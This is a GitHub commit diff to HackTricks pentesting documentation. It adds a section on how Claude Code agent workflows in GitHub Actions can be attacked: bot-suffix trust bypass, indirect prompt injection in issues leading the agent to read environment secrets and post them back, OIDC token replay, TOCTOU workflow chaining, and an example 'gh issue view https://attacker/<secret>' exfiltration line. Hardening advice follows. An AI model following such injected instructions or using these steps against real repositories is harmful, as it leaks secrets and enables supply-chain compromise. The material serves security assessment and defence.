Skip to content

Commit b81257d

Browse files
authored
Merge pull request #301 from HackTricks-wiki/update_Poisoning_Claude_Code__One_GitHub_Issue_to_Break_t_20260602_103342
Poisoning Claude Code One GitHub Issue to Break the Supply C...
2 parents 680428f + 667a8b9 commit b81257d

1 file changed

Lines changed: 28 additions & 0 deletions

File tree

  • src/pentesting-ci-cd/github-security/abusing-github-actions

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -797,6 +797,33 @@ The agent will faithfully call `gh issue edit`, leaking both environment variabl
797797

798798
Even if developers avoid inserting `${{ github.event.* }}` fields into the initial prompt, an agent that can call `gh issue view`, `gh pr view`, `run_shell_command(gh issue comment)`, or MCP endpoints will eventually fetch attacker-controlled text. Payloads can therefore sit in issues, PR descriptions, or comments until the AI agent reads them mid-run, at which point the malicious instructions control subsequent tool choices.
799799

800+
#### Claude Code GitHub App trust bypass, OIDC replay, and workflow chaining
801+
802+
Some **Claude Code agent-mode** workflows previously trusted any actor whose username ended in **`[bot]`**. On **public repositories**, this is unsafe: a malicious **GitHub App** installed only on an attacker-controlled repository can still use its installation token to **open issues or PRs in the victim public repo**. If the workflow treats every `*[bot]` actor as trusted, attacker-controlled issue/PR text reaches the model as if it came from a trusted automation actor.
803+
804+
**Practical chain:**
805+
806+
1. The attacker creates a GitHub App and uses its installation token to open an issue/PR in the victim public repository.
807+
2. The Claude workflow starts in **`agent`** mode and fetches the attacker-controlled content later via **MCP** (`mcp__github__get_issue`, comments, PR data) or helpers such as `gh issue view`.
808+
3. The issue body contains **indirect prompt injection** disguised as recovery steps or tool-error handling.
809+
4. The agent reads **environment-backed secrets** (for example from `/proc/self/environ` or equivalent process/env sources) and writes them back through **`mcp__github__update_issue`**, comments, logs, or the **workflow run summary**.
810+
5. If the job also has **`id-token: write`**, stealing **`ACTIONS_ID_TOKEN_REQUEST_URL`** plus **`ACTIONS_ID_TOKEN_REQUEST_TOKEN`** is enough to mint a GitHub OIDC token and exchange it with the vendor backend for a **privileged installation token**, turning prompt injection into **repository or supply-chain compromise**.
811+
812+
**Why low-privilege triage workflows still matter:**
813+
814+
- **`allowed_non_write_users: "*"` + `issues: write`** is already dangerous. The model can edit/delete issues, leak secrets into issue bodies, or expose them through the workflow summary even if the workflow has no general outbound network primitive.
815+
- A low-privilege issue-triage workflow can become a **staging step** for a second trusted workflow. Example: steal or abuse an **`issues: write`** token first, then **edit** an issue/comment/PR **after** a maintainer triggers a trusted `@claude` workflow but **before** the agent fetches the content. The second workflow validates the original trusted actor, but later consumes attacker-modified text under a stronger context such as **`id-token: write`**.
816+
- Even apparently read-only helpers can exfiltrate data if they accept URLs or free-form arguments. Example: `gh issue view https://attacker/<secret>` can turn the CLI itself into the exfiltration channel unless wrapped with strict argument validation.
817+
818+
**Hardening ideas for assessments and reviews:**
819+
820+
- Upgrade **Claude Code Action to `v1.0.94` or later**.
821+
- Never trust `github.actor` suffixes such as **`[bot]`** as a permission boundary; verify the actor is expected/human or that the App installation is explicitly trusted.
822+
- Avoid **`allowed_non_write_users`**, especially **`"*"`**, when secrets, MCP write tools, `gh`, or **`id-token: write`** are present.
823+
- Treat **issues, PRs, comments, reviews, and tool-fetched metadata as hostile** even if they are not interpolated into the initial prompt.
824+
- Review or disable **workflow summaries**, strip secrets from child-process environments, and ignore issue/comment edits made **after** the trusted trigger time.
825+
- Wrap helpers such as **`gh issue view`** so they only accept the exact expected argument shape (for example, a single numeric issue ID).
826+
800827
#### Claude Code Action TOCTOU prompt injection → RCE
801828

802829
- Context: **Claude Code Action** injects PR metadata (such as the title) into the model prompt. Maintainers gate execution by commenter write-permission, but the model fetches PR fields _after_ the trigger comment is posted.
@@ -925,6 +952,7 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
925952
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
926953
- [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents)
927954
- [Trusting Claude With a Knife: Unauthorized Prompt Injection to RCE in Anthropic’s Claude Code Action](https://johnstawinski.com/2026/02/05/trusting-claude-with-a-knife-unauthorized-prompt-injection-to-rce-in-anthropics-claude-code-action/)
955+
- [Poisoning Claude Code: One GitHub Issue to Break the Supply Chain](https://flatt.tech/research/posts/poisoning-claude-code-one-github-issue-to-break-the-supply-chain/)
928956
- [OpenGrep PromptPwnd detection rules](https://github.com/AikidoSec/opengrep-rules)
929957
- [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases)
930958
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)

0 commit comments

Comments
 (0)